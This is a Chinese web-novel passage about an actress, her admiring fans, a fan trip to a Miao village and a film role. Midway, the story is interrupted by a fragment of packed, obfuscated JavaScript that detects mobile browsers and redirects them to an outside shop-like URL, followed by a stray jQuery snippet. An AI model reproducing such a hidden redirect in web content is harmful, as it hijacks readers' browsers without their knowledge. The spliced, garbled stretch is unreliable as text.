“我通过验证很快的。”陈杬祝的声音里带着一丝不易察觉的笑意。 李诺言几乎是哭着跑下台的，回到自己的位置上，她还能感受到肩膀上残留的温度，耳边还回响着陈杬祝的声音。她立刻发送了好友申请，备注里写着：“我是李诺言，永远坚定的小粉丝。” 没过多久，手机屏幕上就跳出了“已通过好友验证”的提示，陈杬祝的微信头像是一朵盛开的月莲，朋友圈背景是断魂崖底的萤石溪流，最新的一条朋友圈还是昨天发布的，内容是一杯芋泥波波茶，配文：“温柔的味道。” 李诺言的手指悬在屏幕上方，久久不敢按下发送键，生怕自己的消息会打扰到陈杬祝。 应援会结束后，李诺言还沉浸在巨大的幸福里，连走路都像是踩在云朵上。她刚走出商场，手机就震动了一下，是陈杬祝发来的微信：【合照的原图，我让工作室发给你。今天的你，笑得很好看。】 后面还附带了一个奶茶杯的表情包。 李诺言再也忍不住，蹲在路边放声大哭，这次的哭声里，满是幸福与满足。 当天晚上，李诺言在超话里发布了一条微博，配图是她和陈杬祝的合照，还有微信好友界面的截图，文案简单而真挚：【今天见到了杬祝姐姐，和姐姐合照了，还加了姐姐的微信！我真的太幸福了！谢谢杬祝姐姐！我会永远坚定地支持你！】 这条微博发出的瞬间，瞬间被顶到了超话榜首，转发量和评论量以惊人的速度飙升。#李诺言 陈杬祝合照# #陈杬祝 私人微信# #双向奔赴天花板# 三个话题以断层之势冲上热搜，评论区里满是粉丝们的羡慕与感动： 【啊啊啊！我酸成柠檬精了！这是什么神仙运气啊！】 【合照的时候姐姐还揽着诺言的肩膀！还叫了她的名字！我真的哭死！】 【私人微信啊！姐姐竟然把私人微信给了粉丝！这是什么双向奔赴的天花板啊！】 【李诺言妹妹值得！她的坚定和信任，配得上姐姐所有的温柔！】 【破防了！这就是我喜欢杬祝姐姐的原因！她永远把粉丝放在心上！】 远在断魂崖底，沈怨正趴在许祭的肩头，看着手机里的合照，小脸上满是羡慕：“许祭哥哥，李诺言姐姐和杬祝姐姐合照了！她们靠得好近啊！” 许祭低头，看着他眼底的光芒，轻轻揉了揉他的头发，声音低沉而柔和：“嗯，等下次我们去看杬祝姐姐，也和她合照，好不好？” 沈怨的眼睛瞬间亮了起来，立刻从许祭的怀里坐起来，脆生生地说：“好！我要和杬祝姐姐合照，还要和许祭哥哥一起！” 梨春梦也看到了这条微博，她的脸上露出了温柔的笑容。她拿起手机，在李诺言的微博下评论：【苗寨的风，会把你的幸福吹向每一个角落。】 这条评论瞬间被顶到了热评第一，粉丝们纷纷留言： 【春梦妹妹说得对！幸福会吹向每一个人！】 【苗寨的风，工作室的温柔，都是最美好的守护！】 【李诺言妹妹一定要好好珍藏这份幸福啊！】 绫司司则直接转发了李诺言的微博，附言只有两个字：【圆满。】 简单的两个字，却道尽了所有的认可与祝福，瞬间被顶到了热评第二。 而陈杬祝此刻正坐在保姆车里，手里捧着一杯温热的芋泥茶，看着手机里和李诺言的合照，眼底的温柔几乎要溢出来。她的指尖轻轻划过屏幕上李诺言的笑脸，然后给李诺言回复了一条微信：【早点休息，明天还要上学呢。】 发送成功后，她才收起手机，看向窗外渐渐暗下来的天空。 她知道，这份粉丝与偶像之间的双向奔赴，这份坚定与信任，会像月莲一样，永远绽放在她们的生命里。 第二天一早，李诺言穿着那件专属的浅杏色卫衣，背着书包，昂首挺胸地走进了学校。她的脸上洋溢着幸福的笑容，连走路都带着风。当同学们围过来，羡慕地看着她手机里的合照和微信界面时，李诺言的声音里带着骄傲：“这是我和杬祝姐姐之间的约定，我会永远珍惜。” 她知道，这张合照，这个微信好友，不仅仅是一份礼物，更是她和陈杬祝之间，最温暖、最独一无二的约定。 暑假的第一天，清晨的阳光刚漫过书桌，李诺言的手机就突然弹出了一条陌生号码的来电。她犹豫着接起，听筒里传来的是陈杬祝工作室工作人员温柔又熟悉的声音：“诺言你好，这里是陈杬祝工作室。我们诚挚邀请你，作为粉丝代表，和其他三位粉丝一起，前往苗寨参加‘月莲萤石之约’专属粉丝行活动。所有行程费用由工作室承担，时间定在本周六，不知你是否有时间？” 李诺言的笔尖“啪”地掉在作业本上，墨水晕开一小片蓝。她几乎是屏住呼吸确认了三遍，才敢带着哭腔应下：“我有时间！我愿意去！” 挂了电话的瞬间，她抱着手机在房间里蹦跳着转圈，卫衣上的“诺”字刺绣随着动作轻轻晃动。父母闻声赶来，听她说完前因后果，母亲红着眼眶帮她整理行李，父亲则默默去超市买了苗寨天气需要的防晒和驱蚊用品。 工作室很快拉了一个专属微信群，群里除了李诺言，还有另外三个女孩——秦淑，一位常年为陈杬祝画手绘应援图的插画师，她的月莲萤石系列手绘曾被陈杬祝点赞转发；余霓霓，一个经营着陈杬祝粉丝后援会官博的博主，总是第一时间澄清谣言、组织公益应援；纪采薇，一名医学生，曾在陈杬祝的公益捐赠活动中，主动报名前往山区义诊，践行着偶像传递的温柔与善意。 四人在群里热络地聊着天，从最初的拘谨到后来的畅所欲言，共同的热爱让她们瞬间成了好朋友。出发前一晚，群里的消息刷到深夜，每个人都在分享着自己准备的小礼物——李诺言带了自己亲手绣的月莲手帕，秦淑装了一整本精心绘制的应援画，余霓霓准备了粉丝们的手写祝福册，纪采薇则打包了满满一箱子常用药品，想着或许能帮到苗寨的老人和孩子。 周六一早，四人在机场集合。李诺言一眼就认出了她们——秦淑穿着素色的棉麻长裙，手里抱着画夹；余霓霓扎着高马尾，身上的应援服格外显眼；纪采薇戴着金丝眼镜，背着一个鼓鼓囊囊的医药包。四人相视一笑，无需多言，眼底的激动与期待早已溢于言表。 工作室安排的专属航班平稳降落在临近苗寨的小型机场，出口处，楒微微正笑着朝她们挥手，她的身边还站着两位苗寨的姑娘，穿着绣满银饰的传统服饰，手里捧着清香的艾草束。“欢迎大家，”楒微微的声音里带着歉意与温柔，“之前的失误让大家担心了，这次由我全程陪同，一定让大家玩得开心、安心。” 坐上前往苗寨的越野车，一路青山绿水，风里带着艾草与月莲的清香。车子驶入苗寨的瞬间，四人都忍不住发出了惊叹——吊脚楼依山而建，青石板路蜿蜒曲折，溪边的萤石在阳光下泛着淡淡的蓝光，梨花园的梨树郁郁葱葱，偶尔还能听到苗寨姑娘清脆的歌声。 陈杬祝早已在老蛊婆的吊脚楼前等候。她没有穿华丽的衣服，只是一件简单的白色苗服，长发松松地挽成一个髻，发间插着一朵盛开的月莲。看到四人走来，她的嘴角勾起一抹温柔的笑意，主动迎了上去：“欢迎你们，来到我的第二个家。” 李诺言的眼泪瞬间涌了上来，她和秦淑三人紧紧地围在陈杬祝身边，千言万语最终都化作了一句：“杬祝姐姐！” 老蛊婆拄着拐杖站在一旁，脸上带着慈祥的笑容，手里还端着四碗温热的糯米茶：“孩子们，喝了这碗茶，就是苗寨的客人了。” 接下来的几天，陈杬祝放下了所有工作，全程陪着四位粉丝体验苗寨的生活。她们跟着梨春梦去溪边捞萤石，沈怨蹦蹦跳跳地跑在最前面，手里举着一颗最大的萤石，非要塞给每个姐姐一颗；她们跟着秦淑一起，在梨花园的回廊上画画，许祭安静地站在一旁，帮她们研墨递纸，偶尔还会指点几笔；她们跟着余霓霓一起，将粉丝们的祝福册挂在梨树上，风一吹，纸页沙沙作响，像是无数句温柔的祝福；她们跟着纪采薇一起，去苗寨的卫生室帮忙，纪采薇耐心地为老人们量血压、看诊，陈杬祝则在一旁帮忙拿药、递水，温柔得像邻家姐姐。 夜晚，她们坐在断魂崖底的溪边，月光洒在水面上，萤石泛着蓝光，月莲在岸边静静绽放。陈杬祝给她们讲苗寨的传说，讲月莲的寓意，讲她和绫司司、沈怨、许祭之间的故事。四位粉丝听得入了迷，偶尔插一两句话，气氛温馨而美好。 秦淑忍不住拿起画夹，将这一幕画了下来——陈杬祝坐在溪边，身边围着四个女孩，月光、萤石、月莲，构成了一幅绝美的画卷。“这幅画，我要取名为《月莲萤石之约》，”秦淑的声音里带着激动，“这是我画过的最美的画。” 余霓霓则拿出手机，将这一幕拍了下来，发在了粉丝后援会官博上，配文：【月莲萤石之约，我们和杬祝姐姐在苗寨。温柔的人，值得被全世界温柔以待。】 这条微博发出的瞬间，全网再次陷入狂欢，评论区里满是羡慕与祝福： 【啊啊啊！我酸了！这是什么神仙粉丝行啊！】 【四位姐姐都好优秀！手绘大大、后援会博主、医学生、坚定的小粉丝，每一个都值得！】 【苗寨的夜景也太好看了吧！萤石、月莲、还有杬祝姐姐！这画面美哭了！】 【谢谢杬祝姐姐！谢谢工作室！这才是偶像与粉丝之间最好的样子！】 纪采薇则在一旁，给大家讲着医学生的日常，讲着她在山区义诊的经历。陈杬祝听得格外认真，时不时点头，眼底满是赞赏：“你做的事情，比我更有意义。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037603|194640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 李诺言则拿出自己亲手绣的月莲手帕，递给陈杬祝：“杬祝姐姐，这是我绣的，希望你能喜欢。” 陈杬祝接过手帕，指尖摩挲着上面细密的针脚，眼底的温柔几乎要溢出来：“我很喜欢，这是我收到的最珍贵的礼物。” 几天后，粉丝行活动接近尾声。离开苗寨的前一天晚上，陈杬祝带着四位粉丝来到梨花园的最高处，那里可以看到整个苗寨的夜景。她拿出四个精致的礼盒，分别递给她们：“这是我为你们准备的专属礼物，月莲萤石手链，每一颗萤石都是沈怨亲手捞的，每一朵月莲都是梨春梦亲手绣的。” 四人接过礼盒，打开的瞬间，眼泪都忍不住掉了下来。手链上的萤石泛着蓝光，月莲刺绣精致无比，手链的扣环处，还分别刻着她们的名字。 “这是我们之间的约定，”陈杬祝的声音里带着淡淡的暖意，“无论何时，无论何地，都要保持这份纯粹与坚定。” 离开苗寨的那天，阳光明媚。沈怨和许祭来送她们，沈怨手里拿着四颗萤石，非要塞给每个姐姐一颗：“姐姐们，下次还要来玩啊！” 梨春梦也来了，手里端着四碗糯米茶：“孩子们，苗寨的门，永远为你们敞开。” 陈杬祝一直将她们送到机场，临别前，她给了每个人一个大大的拥抱：“路上小心，到家记得给我发消息。” 飞机起飞的瞬间，李诺言看着窗外渐渐变小的苗寨，眼泪再次涌了上来。她拿出手机，给陈杬祝发了一条微信：【杬祝姐姐，我们到家了。这趟苗寨之行，是我这辈子最珍贵的回忆。谢谢你。】 很快，陈杬祝的回复就来了：【我也很开心能和你们一起度过这段时光。记得，你们永远是我最珍贵的粉丝，苗寨永远是你们的第二个家。】 秦淑、余霓霓和纪采薇也纷纷给陈杬祝发了消息，字里行间满是感动与不舍。 回到家后，李诺言将月莲萤石手链戴在手上，将和陈杬祝的合照挂在书桌前。秦淑将《月莲萤石之约》这幅画装裱起来，挂在了自己的画室里。余霓霓将苗寨的照片做成了应援视频，发布在粉丝后援会官博上，收获了无数的点赞与转发。纪采薇则将苗寨的经历写成了一篇文章，发布在学校的公众号上，呼吁更多的人关注山区的医疗事业。 她们都知道，这趟苗寨之行，不仅仅是一次粉丝与偶像的约定，更是一次心灵的洗礼。 而陈杬祝站在梨花园的回廊上，看着手机里四人发来的消息，眼底的温柔几乎要溢出来。她的身边，绫司司正站在一旁，手里拿着一支刚做好的竹笛。 “她们都是很好的孩子。”绫司司的声音里带着淡淡的笑意。 “嗯，”陈杬祝点了点头，“她们的坚定与善良，和月莲一样，永远绽放。” 月光洒在断魂崖底的每一个角落，洒在苗寨的吊脚楼上，也洒在四位粉丝的心里。 傍晚六点整，陈杬祝的个人微博准时更新，没有任何预告，却瞬间让全网的粉丝心跳漏了一拍。 这条微博的配文简单又温柔，像一句私藏的悄悄话：一份比耶小卡，送给最好的粉丝。 配图是四张拼接的图片，排版得精致又治愈。 前三张是陈杬祝的专属比耶小卡实拍图。第一张是小卡的正面，她穿着苗寨传统的白色短褂，发间插着一朵月莲，嘴角噙着浅浅的笑意，对着镜头比出了一个温柔的剪刀手，背景是断魂崖底泛着蓝光的萤石溪流，画面清新得像一汪清泉。第二张是小卡的背面，没有复杂的图案，只印着一行娟秀的字迹：陈杬祝与最好的你，月莲萤石之约，右下角还盖着一个小小的月莲印章。第三张是小卡的细节特写，能清晰地看到卡面的磨砂质感，还有边缘处烫金的月莲纹路，精致得让人舍不得触碰。 第四张图，是一张温馨的粉丝合影——正是李诺言、秦淑、余霓霓、纪采薇四人在苗寨梨花园的合照，四人手里都拿着沈怨送的萤石，脸上的笑容比阳光还要灿烂，背景里隐约能看到陈杬祝的白色衣角。 微博发出的瞬间，服务器再次迎来一波流量高峰，#陈杬祝 比耶小卡# #陈杬祝 最好的粉丝# #月莲萤石之约 小卡# 三个话题以断层之势冲上热搜榜首，后面跟着鲜红的“爆”字。 评论区里，粉丝们的热情瞬间被点燃，满屏都是尖叫与感动： 【啊啊啊！比耶小卡也太好看了吧！姐姐穿苗寨短褂的样子美翻了！】 【小卡背面的字好温柔！还有月莲印章！这是什么神仙周边啊！】 【合照里的四位姐姐！是苗寨行的粉丝代表！真的好羡慕她们啊！】 【“送给最好的粉丝”！破防了！姐姐永远把我们放在心上！】 【什么时候开售啊！我愿意为了这张小卡冲！就算是限量版我也要抢到！】 远在各自家中的李诺言、秦淑、余霓霓和纪采薇，几乎是同时看到了这条微博。 李诺言正戴着月莲萤石手链，看着书桌前的合照发呆，看到微博的瞬间，她立刻拿起手机，在评论区留言：【谢谢杬祝姐姐！这份小卡，是我们最珍贵的礼物！】 秦淑则坐在画室里，看着墙上的《月莲萤石之约》，指尖轻轻划过屏幕上的小卡图案，转发微博时附言：【温柔的小卡，温柔的人，永远双向奔赴。】 余霓霓第一时间将这条微博转发到粉丝后援会官博，配文：【最好的偶像，最好的粉丝，这份小卡，是我们共同的约定！】 纪采薇则戴着金丝眼镜，看着手机里的小卡图片，在评论区留下了一句简单而真挚的话：【医者仁心，偶像温柔，这份小卡，我会永远珍藏。】 四人的评论很快被顶到了热评前四，粉丝们纷纷在她们的评论下留言，羡慕她们的幸运，也为她们的优秀而骄傲。 此时的苗寨，沈怨正趴在许祭的肩头，看着手机里的小卡图片，小脸上满是兴奋：“许祭哥哥！杬祝姐姐的小卡好好看！比耶的样子好可爱！” 许祭低头，看着他眼底的光芒，轻轻揉了揉他的头发，声音低沉而柔和：“嗯，阿怨也可以和杬祝姐姐一起拍一张比耶的小卡。” 沈怨的眼睛瞬间亮了起来，立刻从许祭的怀里坐起来，脆生生地说：“好！我要和杬祝姐姐一起拍！还要和许祭哥哥一起！” 梨春梦也看到了这条微博，她的脸上露出了温柔的笑容。她拿起手机，在陈杬祝的微博下评论：【苗寨的月莲，会为这份温柔的约定，永远绽放。】 这条评论瞬间被顶到了热评第五，粉丝们纷纷留言： 【春梦妹妹说得对！月莲永远绽放！】 【苗寨的风，小卡的温柔，都是最美好的守护！】 【谢谢春梦妹妹！谢谢苗寨的所有小伙伴！】 绫司司则直接转发了陈杬祝的微博，附言只有一个字：【珍。】 简单的一个字，却道尽了所有的珍惜与祝福，瞬间被顶到了热评第六。 而陈杬祝此刻正坐在苗寨的吊脚楼里，手里捧着一杯温热的糯米茶，看着手机屏幕里的评论和转发，眼底的温柔几乎要溢出来。她的指尖轻轻摩挲着桌上的一叠小卡，这是她特意为粉丝准备的惊喜——不仅有限量版的周边小卡，还有送给李诺言四人的专属签名小卡，卡背的字迹后，还多了一行属于她们各自的专属祝福。 工作室的工作人员很快在评论区置顶了消息：【本次比耶小卡将分为两种形式发放：1. 限量周边小卡将随青芋暖茶线下消费满额赠送，数量有限，赠完即止；2. 专属签名小卡将由杬祝姐亲自送给苗寨行的四位粉丝代表。后续还将推出公益小卡套装，所有利润将捐赠给贫困学生助学基金。】 这条置顶消息发出后，粉丝们的热情更加高涨，纷纷表示要去线下门店消费，支持陈杬祝的公益事业。 深夜的风，带着苗寨的艾草香和月莲的清香，吹进了陈杬祝的吊脚楼。她轻轻关上手机，走到窗边，看着天上的满月，嘴角勾起一抹温柔的笑意。 她知道，这份小小的比耶小卡，不仅仅是一份周边，更是她和粉丝之间，最温柔、最坚定的约定。 第二天一早，青芋暖茶的线下门店再次排起了长队。粉丝们不仅是为了购买奶茶，更是为了获得那份珍贵的比耶小卡。李诺言、秦淑、余霓霓和纪采薇也纷纷来到各自城市的线下门店，手里拿着奶茶，看着卡面的陈杬祝，脸上的笑容比阳光还要灿烂。 深夜十一点，纪采薇的微博动态悄然更新，没有喧嚣的预热，却带着独属于医学生的温柔与坚定，瞬间在陈杬祝的粉丝圈里掀起一阵暖意。 她的微博文案不长，却字字句句都浸透着一整年的悸动与赤诚，精准@陈杬祝后，文字像是深夜里私语的星光：@陈杬祝 今年的一切都是你，我永远是那个纪采薇，你永远是我的大明星。 配图只有一张，却足够戳中所有粉丝的柔软心底——那是陈杬祝亲手送出的比耶小卡。镜头近距离对准卡面，磨砂质感的卡面在暖黄的台灯下泛着细腻的光泽，陈杬祝穿着苗寨白褂、发间簪月莲的模样清晰动人，温柔的剪刀手仿佛要透过屏幕触碰到指尖。卡背的娟秀字迹和月莲印章完整入镜，更难得的是，纪采薇特意将小卡放在了自己的医学生笔记本上，笔记本扉页的“健康所系，性命相托”八个字与小卡相映成趣，温柔与坚守的力量在此刻完美交融。 这条微博发出的瞬间，立刻被粉丝们疯狂转发评论，#纪采薇今年的一切都是你# #纪采薇我的大明星# #陈杬祝 双向奔赴# 三个词条迅速登上热搜副榜，评论区里满是感动与共鸣： 【破防了！医学生的温柔与坚定，在姐姐的文案里体现得淋漓尽致！】 【“我永远是那个纪采薇，你永远是我的大明星”！这是什么神仙应援语啊！】 【小卡和医学生笔记本的同框！一边是救死扶伤的理想，一边是温柔守护的信仰，太好哭了！】 【纪采薇妹妹值得！山区义诊的善举，苗寨之行的真诚，她和杬祝姐姐的双向奔赴太动人了！】 【今年的一切都是你！谁的DNA动了！我也是！我的2026全是杬祝姐姐的温柔！】 李诺言、秦淑、余霓霓几乎是第一时间赶来评论，四人的互动温馨得像亲姐妹： 李诺言：【采薇姐姐！这句话说到我心坎里了！我们永远是我们，杬祝姐姐永远是我们的大明星！】 秦淑：【笔记本与小卡的同框太绝了！这张图我要画下来！温柔与坚守本就是一体！】 余霓霓：【已转发后援会官博！这才是偶像与粉丝最好的模样！双向的奔赴，永远的信仰！】 远在苗寨的陈杬祝，正和绫司司坐在梨花园的回廊上，手里捧着温热的糯米茶。手机屏幕亮起的瞬间，她的目光落在纪采薇的微博上，眼底的温柔瞬间漫溢开来。她没有丝毫犹豫，直接在评论区回复，字里行间带着对粉丝的珍视：你永远是那个闪闪发光的纪采薇，而我，永远会做被你坚定选择的大明星。 这条回复发出的瞬间，全网再次陷入温柔的狂欢，粉丝们纷纷表示“这双向的奔赴我能嗑一辈子”。 此时的苗寨，沈怨正趴在许祭的肩头，看着手机里的小卡图片，小脸上满是认真：“许祭哥哥，纪采薇姐姐是医生姐姐，她好厉害！杬祝姐姐的小卡和她的笔记本放在一起，好好看！” 许祭低头，揉了揉沈怨的头发，声音低沉而柔和：“嗯，温柔的人总会相互吸引，坚定的人总会彼此守护。” 梨春梦也看到了这条微博，她的手指轻轻划过屏幕，在纪采薇的微博下留下了一句带着苗寨风情的祝福：【苗寨的艾草香，会伴着你的白大褂，岁岁年年。】 这条评论很快被顶到热评前十，粉丝们纷纷留言，感叹这份跨越山海的温柔联结。 绫司司没有评论，只是默默转发了纪采薇的微博，附言依旧是简洁的两个字：【璀璨。】 简单二字，既道尽了纪采薇作为医学生的光芒，也盛赞了陈杬祝作为大明星的耀眼，更藏着对这份双向奔赴的无限认可。 纪采薇发出微博后，并没有立刻放下手机。她看着陈杬祝的回复，指尖轻轻摩挲着笔记本上的誓言，又看了看卡面上陈杬祝温柔的笑脸，眼眶微微泛红。今年的她，不仅顺利通过了医学生的专业考核，还作为粉丝代表走进了苗寨，见到了自己最崇拜的人，这一切的美好，都与陈杬祝的存在息息相关。 她将小卡小心翼翼地夹进医学生笔记本里，放在“健康所系，性命相托”的扉页之后，像是将一份温柔的信仰，妥帖安放进自己的人生理想之中。 深夜的风，带着医院走廊淡淡的消毒水味，也带着远方苗寨的月莲清香，吹进了纪采薇的房间。她轻轻关上手机，躺在床铺上，脑海里闪过苗寨的萤石溪流、梨花园的欢声笑语，还有陈杬祝温柔的笑容。 她知道，这句话不仅是对陈杬祝的告白，更是对自己的承诺。无论未来的医路多么艰难，无论岁月如何流转，她永远是那个坚守初心的纪采薇，而陈杬祝，永远是那个能给她无限力量的大明星。 第二天一早，纪采薇穿着白大褂走进医院实习科室时，胸前的口袋里，正安静地躺着那张比耶小卡。阳光透过窗户洒在她的白大褂上，也洒在卡面的月莲图案上，温柔而耀眼。 同事们好奇地凑过来询问，纪采薇的脸上露出了温柔而骄傲的笑容：“这是我的大明星，也是我的光。” 苗寨的晨光刚漫过梨花园的篱笆，陈杬祝正坐在回廊上帮沈怨串萤石手链，楒微微捧着一个厚重的牛皮纸信封快步走来，语气难掩雀跃：“杬祝，北京寄来的剧本，导演亲自叮嘱一定要当面交给你。” 信封上没有多余标识，只在封口处印着一朵极简的雪绒花。陈杬祝放下手里的萤石，指尖触到信封的刹那，便觉出内里纸张的质感——不是常见的打印纸，而是带着细砂纹理的特种纸。拆开信封，扉页上“娜塔莎的童年”五个烫金大字映入眼帘，旁边用钢笔写着一行小字：“谨以此片，献给所有在苦难中守望光明的灵魂”。 剧本的叙事如东欧电影般恬淡舒缓，却藏着沉甸甸的历史底色。故事聚焦冷战时期的巴尔干小城，娜塔莎是在战火阴影中长大的孤女，而陈杬祝要饰演的娜卡塔榙，是娜塔莎童年里唯一的光。娜卡塔榙是邻村的音乐教师，有着塞尔维亚血统，总穿着洗得发白的亚麻裙，头发上别着一朵风干的雪绒花，她会弹手风琴，会用俄语和当地语言唱歌，更会在轰炸声响起时，将娜塔莎藏在地下室的钢琴底下，用琴声盖住炮火的轰鸣。 这个角色完美契合“白月光”的内核：看透世间苦难却依旧温柔，用智谋守护弱小而非一味退让。她教娜塔莎认乐谱，告诉她“音乐是不会被战火熄灭的光”；她悄悄给饥饿的娜塔莎塞面包，却从不提及自己的困境；她最终为了保护一群孤儿，倒在了撤离的路上，临终前还将手风琴的背带系在娜塔莎身上，留下最后一句台词：“带着光，活下去”。剧本里没有惊天动地的剧情，却在日常流的细节中，刻画出一个让人心碎又温暖的灵魂——就像富察容音般，用牺牲成就永恒的守望。 陈杬祝捧着剧本，指尖不自觉摩挲着“娜卡塔榙”的名字，眼前浮现出苗寨的月光、萤石的蓝光，还有沈怨眼里纯粹的光芒。她想起纪采薇笔记本上“健康所系，性命相托”的誓言，想起秦淑笔下温柔的月莲，忽然懂了这个角色的意义：娜卡塔榙的“白月光”属性，不在于完美无缺，而在于在黑暗中坚守善意的勇气，这与她一直想传递的温柔力量不谋而合。 “杬祝姐姐，你在看什么呀？”沈怨蹦蹦跳跳地跑过来，手里举着一串刚串好的萤石手链。 陈杬祝抬头，眼底闪着细碎的光：“阿怨，姐姐要演一个会弹手风琴、会保护小朋友的角色。” 许祭恰好走来，瞥见剧本上的故事梗概，低声道：“这个故事的背景，和巴尔干的战争记忆很像，导演用了很多长镜头来捕捉日常，需要演员用最克制的表演传递情绪。”他想起曾看过的东欧电影，那些没有激烈冲突却直击人心的场景，正需要陈杬祝这种自带温柔气场的演员来诠释 。 梨春梦端来温热的糯米茶，看到剧本扉页的雪绒花，轻声说：“这种花在我们苗寨叫‘耐冬花’，再冷的天也能开，和娜卡塔榙一样。” 陈杬祝翻开剧本的最后一页，那里附着一张老照片：一位穿着亚麻裙的女子坐在废墟前弹手风琴，身边围着几个衣衫褴褛的孩子，背景是被炸毁的教堂。照片下方写着：“本片改编自真实故事，娜卡塔榙的原型于1992年牺牲，年仅26岁”。 那一刻，陈杬祝眼眶泛红。她拿出手机，先给导演回了一条信息：“我愿意成为娜卡塔榙，传递这份永不熄灭的光。”随后点开与李诺言、秦淑、余霓霓、纪采薇的微信群，分享了这个消息，配上剧本扉页的照片，附言：“新的旅程，要去演一束照亮苦难的光了。” 群里瞬间炸开了锅： 李诺言：【啊啊啊！白月光角色！姐姐太适合了！娜卡塔榙这个名字好好听！】 秦淑：【音乐教师+战争背景+温柔守护！我已经开始构思应援画了！要把雪绒花和手风琴画进去！】 余霓霓：【已转发后援会官博！“苦难中的光”这个设定太戳人了！姐姐一定能演好！】 纪采薇：【“带着光，活下去”——这句话让我想起义诊时遇到的孩子，姐姐的角色会给很多人力量。】 绫司司不知何时站在回廊尽头，手里拿着一支刚削好的竹笛，淡淡道：“这个角色，和你很像。”简单的五个字，却是最精准的认可。 陈杬祝将剧本轻轻放在石桌上，阳光透过梨树的枝叶洒在纸页上，“娜卡塔榙”的名字仿佛镀上了一层金光。她想起剧本里的一个细节：娜卡塔榙的手风琴里，总藏着一张小纸条，上面写着“世界会好的”。就像她此刻的心情，无论角色的命运多么虐心，她都想通过表演，让观众看到：即使在最黑暗的时刻，也总有一束光，在守望，在指引。 她拿起手机，给工作室发了一条微博，配文：【收到一份特别的礼物——《娜塔莎的童年》。很荣幸能饰演娜卡塔榙，一个在苦难中坚守温柔的灵魂。愿我们都能成为彼此的光，也愿所有的守望，都能等到天亮。】配图是剧本扉页和那朵雪绒花的特写。 微博发出后，#陈杬祝 新角色白月光# #娜塔莎的童年娜卡塔榙# 两个话题迅速登上热搜。粉丝们纷纷留言： 【姐姐太适合这种温柔有力量的角色了！白月光专业户预定！】 【“在苦难中坚守温柔”——这就是姐姐本人啊！】 【想起《蜂蜜之地》里的坚守，这个故事一定很动人！坐等开机！】 陈杬祝放下手机，再次拿起剧本。这一次，她不再仅仅是阅读文字，而是开始走进娜卡塔榙的世界——那个战火纷飞却依旧有琴声流淌的世界，那个用生命守护希望的世界。 苗寨的风带着艾草的清香，拂过剧本的纸页，仿佛在为这场跨越山海的演绎，送上最温柔的祝福。她知道，这将是一次极具挑战的表演，但她已做好准备，将自己的温柔与坚定，尽数赋予娜卡塔榙，让这个“白月光”角色，在银幕上绽放永恒的光芒。 陈杬祝《娜塔莎的童年》宣传剧情短片：雪绒花与手风琴 片长：90秒 风格：文艺治愈，冷色调中藏着暖光，兼具历史厚重感与温柔力量 核心剧情：以“道具蒙太奇”串联娜卡塔榙的三个经典场景，无台词，仅靠镜头语言与手风琴声传递情绪，结尾彩蛋联动陈杬祝本人的温柔人设。 【00:00-00:20 开篇：雪绒花与亚麻裙】 冬日的巴尔干小城，铅灰色的天空压着低矮的屋顶，街道上积着薄薄的雪，墙面上的弹孔在雪光下若隐若现。 陈杬祝饰演的娜卡塔榙，穿着洗得发白的亚麻长裙，裙摆扫过雪地，留下浅浅的痕迹。她的头发松松地挽成一个髻，发间别着一朵风干的雪绒花——那是剧本里她的“生命图腾”。 她缓步走到街角的老钢琴前，琴盖落着一层细雪，她伸出手指，轻轻拂去，指尖的温度仿佛要融化那片冰冷。镜头特写她的手，骨节分明，却带着薄茧，那是常年弹手风琴、做粗活留下的痕迹。 【00:21-00:50 高潮：地下室的琴声】 防空警报突然响起，尖锐的声音刺破小城的宁静。 娜卡塔榙的反应极快，她转身冲进旁边的小屋，牵起一个穿着破旧毛衣的小女孩——娜塔莎的手，往地下室跑。地下室里，挤着七八个衣衫褴褛的孩子，他们的脸上满是恐惧，哭声与外面的炮火声交织在一起。 娜卡塔榙没有说话，只是将娜塔莎护在怀里，然后从角落拿起那架旧手风琴。她将背带绕在肩上，指尖落在琴键上，一段温柔的塞尔维亚民谣缓缓流淌出来。 琴声盖过了炮火的轰鸣，也盖过了孩子们的哭声。镜头扫过孩子们的脸，恐惧渐渐褪去，取而代之的是平静。娜卡塔榙的脸上没有表情，却有一滴泪从眼角滑落，滴在手风琴的琴键上，瞬间被体温蒸发。 陈杬祝的表演克制而有力量，眼神里藏着对战争的痛恨，对孩子的怜惜，还有一份绝不妥协的坚定。 【00:51-01:20 结尾：手风琴与光】 画面切换，撤离的路上，漫天的硝烟中，娜卡塔榙的亚麻裙被划破了一道口子，发间的雪绒花也掉落在地。她依旧护着孩子们，手风琴的背带紧紧地缠在肩上。 突然，一颗炮弹在不远处爆炸，气浪将她掀翻在地。她挣扎着爬起来，第一时间不是顾着自己，而是去看孩子们是否安全。 临终前，她将手风琴的背带解下来，系在娜塔莎的身上。她的嘴唇动了动，却没有发出声音——剧本里的最后一句台词“带着光，活下去”，在这里被处理成了口型。 镜头拉远，娜卡塔榙躺在雪地里，发间的雪绒花落在她的脸颊旁，与雪融为一体。而娜塔莎抱着手风琴，朝着远方的太阳跑去，琴声的余韵仿佛还在空气中回荡。 【01:21-01:30 彩蛋：月莲与雪绒花的联动】 画面突然切回温暖的苗寨，陈杬祝穿着熟悉的白色苗服，发间插着一朵月莲，手里捧着那架迷你手风琴模型。 她对着镜头温柔一笑，声音清澈而坚定：“娜卡塔榙的雪绒花，是苦难中的光；而我们的月莲，是守护中的暖。愿每一束光，都能被温柔以待。” 镜头最后定格在她手中的雪绒花与月莲的同框特写，下方缓缓浮现出电影名：《娜塔莎的童年》，以及一行小字：陈杬祝 饰娜卡塔榙——娜塔莎的白月光，也是我们的光。 宣传物料同步释出 1. 海报：主海报采用冷色调，陈杬祝穿着亚麻裙，手捧雪绒花，身后是战火中的小城，右下角藏着一朵小小的月莲；角色海报则分为“雪绒花版”与“手风琴版”，突出娜卡塔榙的温柔与坚定。 2. 